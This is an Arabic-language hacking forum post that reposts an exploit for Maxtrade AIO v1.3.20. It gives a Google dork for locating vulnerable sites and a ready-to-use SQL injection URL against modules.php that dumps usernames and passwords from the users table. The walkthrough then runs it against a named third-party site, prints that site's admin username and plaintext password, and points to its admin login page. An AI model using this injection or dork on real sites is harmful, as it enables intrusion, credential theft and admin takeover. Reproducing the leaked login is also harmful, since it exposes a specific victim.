ثغرة Maxtrade AIO v.1.3.20

[الهكر المجهول]

السلام عليكم ورحمة الله وبركته
بسم الله الرحمن الرحيم
شلونكم شباب ان شاء الله بخير
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Maxtrade AIO v.1.3.20 ( modules.php ) SQL Injection Vulnerability

####################################################### 
# Maxtrade AIO v.1.3.20 ( modules.php ) SQL Injection Vulnerability 
# 
# Author   : Mr JAMRA 
#  
# Email     : JAMRA-NoT-Dead[at]Live[dot]Fr 
# 
 (: 
#  
# Script Home Page : http://www.softdivision.com/ 
# 
# Demo      : http://www.softdivision.com/maxtradedemo/ 
# 
# Dork      : inurl:newsbox.php?stranica 
######################################################## 
# Exploit : 
# www.[sitename].com/modules.php?module=auto&function=autopotype&stranica=menu&cat=0&type=-6+union+select+1,concat(user_name,0x3a,user_pass)+from+users 
# 
# Live Demo: 
# http://www.softdivision.com/maxtradedemo/modules.php?module=auto&function=autopotype&stranica=menu&cat=0&type=-6+union+select+1,concat(user_name,0x3a,user_pass)+from+users 
# 
# Admin login : 
# http://www.[sitename].com/admin/login.php 
######################################################### 
#  Greetz :  
Devel Pal   #  Exploit  # Mr YAssine 
 
M-R-C ----> Team Hacker Of maROCK 
#########################################################  

والان الشرح :-

دورك البحث : inurl:newsbox.php?stranica


ناخذ مثلاً هذا الموقع :
buy and sell nigeria
نكتب الأستغلال بعده :

modules.php?module=auto&function=autopotype&stranica=menu&cat=0&type=-6+union+select+1,concat(user_name,0x3a,user_pass)+from+users  

راح تشوفون طلع الباسوورد و أسم المستخدم بالتايتل Title :



Username : admin_aft
Password : aft6575

ندخل لوحة التحكم :
http://buyandsellnigeria.com/admin/login.php

بأضافة
admin/login.php
بعد رابط الموقع

انشاء الله استفدتم من الشرح